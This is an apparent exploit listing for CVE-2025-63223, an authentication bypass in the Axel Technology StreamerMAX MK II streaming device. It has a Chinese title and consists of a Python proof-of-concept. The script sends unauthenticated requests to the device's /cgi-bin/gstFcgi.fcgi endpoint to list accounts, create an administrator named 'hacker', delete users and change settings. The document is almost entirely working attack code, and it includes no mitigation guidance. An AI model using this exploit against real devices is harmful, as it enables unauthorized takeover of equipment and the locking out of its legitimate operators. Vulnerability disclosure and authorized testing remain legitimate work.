CVE-2025-63223 Axel Technology StreamerMAX MK II 认证绕过漏洞

import requests # CVE-2025-63223 PoC - Axel StreamerMAX MK II Broken Access Control # Target: /cgi-bin/gstFcgi.fcgi endpoint TARGET = "http://<target-ip>" ENDPOINT = "/cgi-bin/gstFcgi.fcgi" def list_users(): """List all user accounts on the device""" payload = { "command": "list_users", "type": "user_management" } response = requests.post(f"{TARGET}{ENDPOINT}", data=payload, timeout=10) print(f"[+] User List Response: {response.text}") return response def create_admin(username, password): """Create new administrator account""" payload = { "command": "create_admin", "username": username, "password": password, "type": "user_management" } response = requests.post(f"{TARGET}{ENDPOINT}", data=payload, timeout=10) print(f"[+] Create Admin Response: {response.text}") return response def delete_user(username): """Delete specified user account""" payload = { "command": "delete_user", "username": username, "type": "user_management" } response = requests.post(f"{TARGET}{ENDPOINT}", data=payload, timeout=10) print(f"[+] Delete User Response: {response.text}") return response def modify_settings(setting_name, value): """Modify system settings""" payload = { "command": "modify_settings", "setting": setting_name, "value": value, "type": "config_management" } response = requests.post(f"{TARGET}{ENDPOINT}", data=payload, timeout=10) print(f"[+] Modify Settings Response: {response.text}") return response if __name__ == "__main__": print("[*] CVE-2025-63223 PoC - StreamerMAX MK II Broken Access Control") print("[*] Target:", TARGET) # Step 1: List users print("\n[*] Step 1: Listing user accounts...") list_users() # Step 2: Create new admin print("\n[*] Step 2: Creating new administrator...") create_admin("hacker", "P@ssw0rd123") # Step 3: Modify settings print("\n[*] Step 3: Modifying system settings...") modify_settings("admin_access", "enabled")